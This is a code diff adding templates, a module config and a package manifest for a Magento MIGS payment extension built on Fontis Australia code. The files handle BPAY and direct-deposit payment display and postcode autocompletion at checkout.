ADDED
@@ -0,0 +1,40 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Fontis Australia Extension
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so we can send you a copy immediately.
|
14 |
+
*
|
15 |
+
* @category Fontis
|
16 |
+
* @package Fontis_Australia
|
17 |
+
* @author Chris Norton
|
18 |
+
* @copyright Copyright (c) 2009 Fontis Pty. Ltd. (http://www.fontis.com.au)
|
19 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
20 |
+
*/
|
21 |
+
?>
|
22 |
+
<?php
|
23 |
+
$order = Mage::getModel('sales/order')->loadByIncrementId($this->getOrderId());
|
24 |
+
$payment = $order->getPayment();
|
25 |
+
?>
|
26 |
+
<?php if($payment->getMethod() == 'bpay'): ?>
|
27 |
+
<?php
|
28 |
+
$bpay = Mage::getModel('australia/payment_bpay');
|
29 |
+
$data = array(
|
30 |
+
'biller_code' => $bpay->getBillerCode(),
|
31 |
+
'ref' => $bpay->getRef()
|
32 |
+
);
|
33 |
+
$payment->setAdditionalData(serialize($data));
|
34 |
+
$payment->save();
|
35 |
+
|
36 |
+
$order->addStatusToHistory('pending_bpay', 'Order placed with BPAY', false);
|
37 |
+
$order->save();
|
38 |
+
?>
|
39 |
+
<?php echo Mage::helper('australia/bpay')->bpayInfoBlock($data['biller_code'], $data['ref']); ?>
|
40 |
+
<?php endif; ?>
|
app/design/frontend/default/default/template/migsvpc/method/payment/directdeposit/form.phtml
ADDED
@@ -0,0 +1,41 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Fontis Australia Extension
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so we can send you a copy immediately.
|
14 |
+
*
|
15 |
+
* @category Fontis
|
16 |
+
* @package Fontis_Australia
|
17 |
+
* @author Chris Norton
|
18 |
+
* @copyright Copyright (c) 2008 Fontis Pty. Ltd. (http://www.fontis.com.au)
|
19 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
20 |
+
*/
|
21 |
+
?>
|
22 |
+
<fieldset class="form-list">
|
23 |
+
<ul id="payment_form_<?php echo $this->getMethodCode() ?>" style="display:none">
|
24 |
+
<li>
|
25 |
+
<div class="input-box">
|
26 |
+
<?php if ($this->getMethod()->getAccountName()): ?>
|
27 |
+
<?php echo $this->__('<label>Account Name</label>: %s', $this->getMethod()->getAccountName()) ?><br />
|
28 |
+
<?php endif;?>
|
29 |
+
<?php if ($this->getMethod()->getAccountBSB()): ?>
|
30 |
+
<?php echo $this->__('<label>Account BSB</label>: %s', $this->getMethod()->getAccountBSB()) ?><br />
|
31 |
+
<?endif;?>
|
32 |
+
<?php if ($this->getMethod()->getAccountNumber()): ?>
|
33 |
+
<?php echo $this->__('<label>Account Number</label>: %s', $this->getMethod()->getAccountNumber()) ?><br />
|
34 |
+
<?php endif;?>
|
35 |
+
<?php if ($this->getMethod()->getMessage()): ?>
|
36 |
+
<p><?php echo $this->__('%s', $this->getMethod()->getMessage()); ?></p>
|
37 |
+
<?php endif;?>
|
38 |
+
</div>
|
39 |
+
</li>
|
40 |
+
</ul>
|
41 |
+
</fieldset>
|
app/design/frontend/default/default/template/migsvpc/method/payment/directdeposit/info.phtml
ADDED
@@ -0,0 +1,28 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Fontis Australia Extension
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so we can send you a copy immediately.
|
14 |
+
*
|
15 |
+
* @category Fontis
|
16 |
+
* @package Fontis_Australia
|
17 |
+
* @author Chris Norton
|
18 |
+
* @copyright Copyright (c) 2008 Fontis Pty. Ltd. (http://www.fontis.com.au)
|
19 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
20 |
+
*/
|
21 |
+
?>
|
22 |
+
<p><?php echo $this->getMethod()->getTitle() ?>
|
23 |
+
<?php //if($this->getInfo()->getAdditionalData()): ?>
|
24 |
+
<?php if($this->getAccountName()): ?><br /><?php echo $this->__('Account Name: %s', $this->getAccountName()); ?><?php endif; ?>
|
25 |
+
<?php if($this->getAccountBSB()): ?><br /><?php echo $this->__('Account BSB: %s', $this->getAccountBSB()); ?><?php endif; ?>
|
26 |
+
<?php if($this->getAccountNumber()): ?><br /><?php echo $this->__('Account Number: %s', $this->getAccountNumber()); ?><?php endif; ?>
|
27 |
+
<?php //endif;?>
|
28 |
+
</p>
|
app/design/frontend/default/default/template/migsvpc/method/payment/directdeposit/success.phtml
ADDED
@@ -0,0 +1,38 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Fontis Australia Extension
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so we can send you a copy immediately.
|
14 |
+
*
|
15 |
+
* @category Fontis
|
16 |
+
* @package Fontis_Australia
|
17 |
+
* @author Chris Norton
|
18 |
+
* @copyright Copyright (c) 2009 Fontis Pty. Ltd. (http://www.fontis.com.au)
|
19 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
20 |
+
*/
|
21 |
+
?>
|
22 |
+
<?php
|
23 |
+
$order = Mage::getModel('sales/order')->loadByIncrementId($this->getOrderId());
|
24 |
+
$payment = $order->getPayment();
|
25 |
+
?>
|
26 |
+
<?php if($payment->getMethod() == 'directdeposit_au'): ?>
|
27 |
+
<?php
|
28 |
+
$order->addStatusToHistory('pending_deposit', 'Order placed with Direct Deposit', false);
|
29 |
+
$order->save();
|
30 |
+
$data = @unserialize($payment->getAdditionalData());
|
31 |
+
?>
|
32 |
+
<div id="directdeposit_au_success">
|
33 |
+
<p class="message"><?php echo $this->__('Please use the following details to make payment:'); ?></p>
|
34 |
+
<?php if($data['account_name']): ?><br /><b><?php echo $this->__('Account Name: '); ?></b> <?php echo $data['account_name']; ?><?php endif; ?>
|
35 |
+
<?php if($data['account_bsb']): ?><br /><b><?php echo $this->__('Account BSB: '); ?></b> <?php echo $data['account_bsb']; ?><?php endif; ?>
|
36 |
+
<?php if($data['account_number']): ?><br /><b><?php echo $this->__('Account Number: '); ?></b> <?php echo $data['account_number']; ?><?php endif; ?>
|
37 |
+
</div>
|
38 |
+
<?php endif; ?>
|
app/design/frontend/default/default/template/migsvpc/method/postcode-checkout.phtml
ADDED
@@ -0,0 +1,84 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Fontis Australia Extension
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so we can send you a copy immediately.
|
14 |
+
*
|
15 |
+
* @category Fontis
|
16 |
+
* @package Fontis_Australia
|
17 |
+
* @author Chris Norton
|
18 |
+
* @copyright Copyright (c) 2008 Fontis Pty. Ltd. (http://www.fontis.com.au)
|
19 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
20 |
+
*/
|
21 |
+
?>
|
22 |
+
<script type="text/javascript">
|
23 |
+
|
24 |
+
//============ Billing ============//
|
25 |
+
var autocomplete_city_billing = new Element('div', { id: 'autocomplete_city_billing', 'class': 'search-autocomplete' });
|
26 |
+
$('billing:city').parentNode.appendChild(autocomplete_city_billing);
|
27 |
+
|
28 |
+
function updateAddressBilling(text, item) {
|
29 |
+
// Update state and postcode fields
|
30 |
+
var id = item.id;
|
31 |
+
var tokens = id.split('-');
|
32 |
+
|
33 |
+
// Assume item at index 1 is region_id, item at index 3 is postcode
|
34 |
+
$('billing:region_id').value = tokens[1];
|
35 |
+
$('billing:postcode').value = tokens[3];
|
36 |
+
}
|
37 |
+
|
38 |
+
// Create the autocompleter and assign it to a variable for future use.
|
39 |
+
var completer = new Ajax.Autocompleter("billing:city", "autocomplete_city_billing", "<?=$this->helper('australia')->getCitySuggestUrl();?>", {
|
40 |
+
afterUpdateElement: updateAddressBilling,
|
41 |
+
minChars: 2,
|
42 |
+
parameters: 'country=' + $F('billing:country_id')
|
43 |
+
});
|
44 |
+
|
45 |
+
// Detect when the country has changed and update the parameters sent by the autocompleter.
|
46 |
+
$('billing:country_id').observe('change', function() {
|
47 |
+
completer = new Ajax.Autocompleter("billing:city", "autocomplete_city_billing", "<?=$this->helper('australia')->getCitySuggestUrl();?>", {
|
48 |
+
afterUpdateElement: updateAddressBilling,
|
49 |
+
minChars: 2,
|
50 |
+
parameters: 'country=' + $F('billing:country_id')
|
51 |
+
});
|
52 |
+
});
|
53 |
+
|
54 |
+
//============ Shipping ============//
|
55 |
+
var autocomplete_city_shipping = new Element('div', { id: 'autocomplete_city_shipping', 'class': 'search-autocomplete' });
|
56 |
+
$('shipping:city').parentNode.appendChild(autocomplete_city_shipping);
|
57 |
+
|
58 |
+
function updateAddressShipping(text, item) {
|
59 |
+
// Update state and postcode fields
|
60 |
+
var id = item.id;
|
61 |
+
var tokens = id.split('-');
|
62 |
+
|
63 |
+
// Assume item at index 1 is region_id, item at index 3 is postcode
|
64 |
+
$('shipping:region_id').value = tokens[1];
|
65 |
+
$('shipping:postcode').value = tokens[3];
|
66 |
+
}
|
67 |
+
|
68 |
+
// Create the autocompleter and assign it to a variable for future use.
|
69 |
+
var completer = new Ajax.Autocompleter("shipping:city", "autocomplete_city_shipping", "<?=$this->helper('australia')->getCitySuggestUrl();?>", {
|
70 |
+
afterUpdateElement: updateAddressShipping,
|
71 |
+
minChars: 2,
|
72 |
+
parameters: 'country=' + $F('shipping:country_id')
|
73 |
+
});
|
74 |
+
|
75 |
+
// Detect when the country has changed and update the parameters sent by the autocompleter.
|
76 |
+
$('shipping:country_id').observe('change', function() {
|
77 |
+
completer = new Ajax.Autocompleter("shipping:city", "autocomplete_city_shipping", "<?=$this->helper('australia')->getCitySuggestUrl();?>", {
|
78 |
+
afterUpdateElement: updateAddressShipping,
|
79 |
+
minChars: 2,
|
80 |
+
parameters: 'country=' + $F('shipping:country_id')
|
81 |
+
});
|
82 |
+
});
|
83 |
+
|
84 |
+
</script>
|
app/design/frontend/default/default/template/migsvpc/method/postcode.phtml
ADDED
@@ -0,0 +1,55 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Fontis Australia Extension
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so we can send you a copy immediately.
|
14 |
+
*
|
15 |
+
* @category Fontis
|
16 |
+
* @package Fontis_Australia
|
17 |
+
* @author Chris Norton
|
18 |
+
* @copyright Copyright (c) 2008 Fontis Pty. Ltd. (http://www.fontis.com.au)
|
19 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
20 |
+
*/
|
21 |
+
?>
|
22 |
+
<script type="text/javascript">
|
23 |
+
|
24 |
+
// Create and insert the div that will hold the list of autocomplete items. This
|
25 |
+
// is added to the DOM immediately following the #city field.
|
26 |
+
var autocomplete_city = new Element('div', { id: 'autocomplete_city', 'class': 'search-autocomplete' });
|
27 |
+
$('city').parentNode.appendChild(autocomplete_city);
|
28 |
+
|
29 |
+
function updateAddress(text, item) {
|
30 |
+
// Update state and postcode fields
|
31 |
+
var id = item.id;
|
32 |
+
var tokens = id.split('-');
|
33 |
+
|
34 |
+
// Assume item at index 1 is region_id, item at index 3 is postcode
|
35 |
+
$('region_id').value = tokens[1];
|
36 |
+
$('zip').value = tokens[3];
|
37 |
+
}
|
38 |
+
|
39 |
+
// Create the autocompleter and assign it to a variable for future use.
|
40 |
+
var completer = new Ajax.Autocompleter("city", "autocomplete_city", "<?=$this->helper('australia')->getCitySuggestUrl();?>", {
|
41 |
+
afterUpdateElement: updateAddress,
|
42 |
+
minChars: 2,
|
43 |
+
parameters: 'country=' + $F('country')
|
44 |
+
});
|
45 |
+
|
46 |
+
// Detect when the country has changed and update the parameters sent by the autocompleter.
|
47 |
+
$('country').observe('change', function() {
|
48 |
+
completer = new Ajax.Autocompleter("city", "autocomplete_city", "<?=$this->helper('australia')->getCitySuggestUrl();?>", {
|
49 |
+
afterUpdateElement: updateAddress,
|
50 |
+
minChars: 2,
|
51 |
+
parameters: 'country=' + $F('country')
|
52 |
+
});
|
53 |
+
});
|
54 |
+
|
55 |
+
</script>
|
app/design/frontend/default/default/template/migsvpc/server/form.phtml
ADDED
@@ -0,0 +1,30 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* Fontis eWAY Australia payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category Fontis
|
18 |
+
* @package Fontis_EwayAu
|
19 |
+
* @copyright Copyright (c) 2010 Fontis (http://www.fontis.com.au)
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
?>
|
23 |
+
<fieldset class="form-list">
|
24 |
+
<?php $_code=$this->getMethodCode() ?>
|
25 |
+
<ul id="payment_form_<?php echo $_code ?>" style="display:none">
|
26 |
+
<li>
|
27 |
+
<?php echo $this->__('You will be redirected to MIGS website when you place an order.') ?>
|
28 |
+
</li>
|
29 |
+
</ul>
|
30 |
+
</fieldset>
|
app/design/frontend/default/default/template/migsvpc/server/response.phtml
ADDED
@@ -0,0 +1,27 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?php
|
2 |
+
/**
|
3 |
+
* ND MigsVpc payment gateway
|
4 |
+
*
|
5 |
+
* NOTICE OF LICENSE
|
6 |
+
*
|
7 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
8 |
+
* that is bundled with this package in the file LICENSE.txt.
|
9 |
+
* It is also available through the world-wide-web at this URL:
|
10 |
+
* http://opensource.org/licenses/osl-3.0.php
|
11 |
+
* If you did not receive a copy of the license and are unable to
|
12 |
+
* obtain it through the world-wide-web, please send an email
|
13 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
14 |
+
*
|
15 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
16 |
+
*
|
17 |
+
* @category Fontis
|
18 |
+
* @package Fontis_EwayAu
|
19 |
+
* @copyright Copyright (c) 2010 Fontis (http://www.fontis.com.au)
|
20 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
21 |
+
*/
|
22 |
+
?>
|
23 |
+
<div class="page-head">
|
24 |
+
<h3><?php echo $this->__('Error occured') ?></h3>
|
25 |
+
</div>
|
26 |
+
<p><?php echo $this->getErrorMessage() ?>.</p>
|
27 |
+
<p><?php echo $this->__('Please <a href="%s">continue shopping</a>.', $this->getContinueShoppingUrl()) ?></p>
|
app/etc/modules/ND_MigsVpc.xml
ADDED
@@ -0,0 +1,34 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0"?>
|
2 |
+
<!--
|
3 |
+
/**
|
4 |
+
* ND MigsVpc payment gateway
|
5 |
+
*
|
6 |
+
* NOTICE OF LICENSE
|
7 |
+
*
|
8 |
+
* This source file is subject to the Open Software License (OSL 3.0)
|
9 |
+
* that is bundled with this package in the file LICENSE.txt.
|
10 |
+
* It is also available through the world-wide-web at this URL:
|
11 |
+
* http://opensource.org/licenses/osl-3.0.php
|
12 |
+
* If you did not receive a copy of the license and are unable to
|
13 |
+
* obtain it through the world-wide-web, please send an email
|
14 |
+
* to license@magentocommerce.com so you can be sent a copy immediately.
|
15 |
+
*
|
16 |
+
* Original code copyright (c) 2008 Irubin Consulting Inc. DBA Varien
|
17 |
+
*
|
18 |
+
* @category ND
|
19 |
+
* @package ND_MigsVpc
|
20 |
+
* @copyright Copyright (c) 2010 ND MigsVpc
|
21 |
+
* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
|
22 |
+
*/
|
23 |
+
-->
|
24 |
+
<config>
|
25 |
+
<modules>
|
26 |
+
<ND_MigsVpc>
|
27 |
+
<active>true</active>
|
28 |
+
<codePool>local</codePool>
|
29 |
+
<depends>
|
30 |
+
<Mage_Payment/>
|
31 |
+
</depends>
|
32 |
+
</ND_MigsVpc>
|
33 |
+
</modules>
|
34 |
+
</config>
|
package.xml
ADDED
@@ -0,0 +1,18 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
<?xml version="1.0"?>
|
2 |
+
<package>
|
3 |
+
<name>ND_MigsVpc</name>
|
4 |
+
<version>0.1.0</version>
|
5 |
+
<stability>stable</stability>
|
6 |
+
<license>GNU General Public License</license>
|
7 |
+
<channel>community</channel>
|
8 |
+
<extends/>
|
9 |
+
<summary>Migs Vpc Payment Method Integration</summary>
|
10 |
+
<description>Migs Vpc Payment Method Integration</description>
|
11 |
+
<notes>Migs Vpc Payment Method Integration</notes>
|
12 |
+
<authors><author><name>Nikul Doshi</name><user>auto-converted</user><email>nikulonline@gmail.com</email></author></authors>
|
13 |
+
<date>2012-09-03</date>
|
14 |
+
<time>11:23:04</time>
|
15 |
+
<contents><target name="magedesign"><dir name="frontend"><dir name="default"><dir name="default"><dir name="layout"><file name="migsvpc.xml" hash="687447707eadb42a5f346431339278bf"/></dir><dir name="template"><dir name="migsvpc"><file name="form.phtml" hash="416411ec28758fa15de6c4d8ba6b102c"/><file name="info.phtml" hash="c13fe64ae97929b3b732d25b695527ea"/><dir name="merchant"><file name="form.phtml" hash="90aa033b12327f8b4b1e241fa2c77383"/><file name="response.phtml" hash="8a3f5b9be4901568104472399b1b1398"/></dir><dir name="merchantnew"><file name="form.phtml" hash="416411ec28758fa15de6c4d8ba6b102c"/><file name="mark.phtml" hash="0f413e1a1245fda6c493f18ddd9d88d4"/><file name="response.phtml" hash="8a3f5b9be4901568104472399b1b1398"/></dir><dir name="method"><file name="postcode-checkout.phtml" hash="dba2b90faf906a4ff17c72229600a259"/><file name="postcode.phtml" hash="e7c5e5c23f5c7750772321e1c4ffe06b"/><dir name="payment"><dir name="bpay"><file name="form.phtml" hash="4ec688f6b5e63186a91ff2414a567f81"/><file name="info.phtml" hash="7d010d2286e619e4a51de4f086ab71c1"/><file name="success.phtml" hash="55572c890d2fb68ded98b051502c31bd"/></dir><dir name="directdeposit"><file name="form.phtml" hash="ed7e15aa93805a227c00997961f7fb93"/><file name="info.phtml" hash="025c3e3b932f9864b0ccb46a58b6df78"/><file name="success.phtml" hash="d460923ed13b3e27abdebed921689490"/></dir></dir></dir><dir name="server"><file name="form.phtml" hash="009abf5f52c3a8c72462c2ea16bfedad"/><file name="response.phtml" hash="8a3f5b9be4901568104472399b1b1398"/></dir></dir></dir></dir></dir></dir></target><target name="mageetc"><dir name="modules"><file name="ND_MigsVpc.xml" hash="21e3a64831d2a6468cac3aa3f5a25d92"/></dir></target><target name="magelocal"><dir name="ND"><dir name="MigsVpc"><dir name="Block"><file name="Form.php" hash="9bfa1576dbee91381d5bc3d88be89b8a"/><file name="Info.php" hash="15b0d73d67daf5f715b033051f8c4046"/><dir name="Merchant"><file name="Failure.php" hash="5f1f743dace0a09a61c0c0c58c08eed6"/><file name="Form.php" hash="8176c4b9cda4154f32afa6fccfedc1fb"/><file name="Redirect.php" hash="261419acaf998fc996fd1110b66ee1ec"/><file name="Response.php" hash="6b3a0b34b4b9a4243a6b0d0936e454b3"/></dir><dir name="Merchantnew"><file name="Failure.php" hash="79ea368d4e064d0ee4dac92137bcbf01"/><file name="Form.php" hash="0be3582637f6ea37cd2f8e23ddca10ef"/><file name="Redirect.php" hash="537697e878c2035fd1ae4c5d4b320432"/><file name="Response.php" hash="6b3a0b34b4b9a4243a6b0d0936e454b3"/></dir><dir name="Payment"><file name="Info.php" hash="fa2d2c7203d0db98e0f771c5d9d758eb"/></dir><dir name="Server"><file name="Failure.php" hash="0f8b90ca3429f970c1b9849f2f31ded9"/><file name="Form.php" hash="cf14cad1c35633092c8135302efd4631"/><file name="Redirect.php" hash="03bc949549248141ba30da25e4d0242d"/><file name="Response.php" hash="231a710147cdbcdde7f82b1c5aca255b"/></dir></dir><dir name="Controller"><file name="Abstract.php" hash="612926a0f65dee33aca9f7f001174cb4"/></dir><dir name="controllers"><file name="MerchantController.php" hash="144bb7186e574c4f3303e05558bcd180"/><file name="MerchantnewController.php" hash="ee2c2a1400537e7e790d3ad249333ed6"/><file name="ServerController.php" hash="95a78a1bf925eaea9ae3c32a4b34742a"/></dir><dir name="etc"><file name="config.xml" hash="50050e3ab457ab2c87ca8e3dc3b3d8fd"/><file name="system.xml" hash="b14512aeaed33bd5c1640b021102a019"/></dir><dir name="Helper"><file name="Data.php" hash="7765cabdc1ebd4757f4d6ef12aff47d3"/></dir><dir name="Model"><file name="Info.php" hash="a5d4ba9f6c9141695cd488337d92f789"/><file name="Merchant.php" hash="a89ce03360b68eb65b58e10488b6ba93"/><file name="Merchantnew.php" hash="8bd7c0e08671db50cf7e70825867ec2f"/><file name="Server.php" hash="37108bf9e5c217608ee457048c0c57d7"/><dir name="Source"><file name="Cctype.php" hash="ebe06d3cc1a8ba7276ccd84e7ec1ad91"/><file name="PaymentAction.php" hash="ebd82b8c937493ba1a4ecb59ad8234d3"/><file name="PaymentType.php" hash="35bcd65cea5e229341aeb51b0435770e"/></dir></dir><dir name="sql"><dir name="migsvpc_setup"><file name="mysql4-install-0.1.0.php" hash="ef8ea8980f9d100518ddc7e96cef7a11"/></dir></dir></dir></dir></target></contents>
|
16 |
+
<compatible/>
|
17 |
+
<dependencies/>
|
18 |
+
</package>
|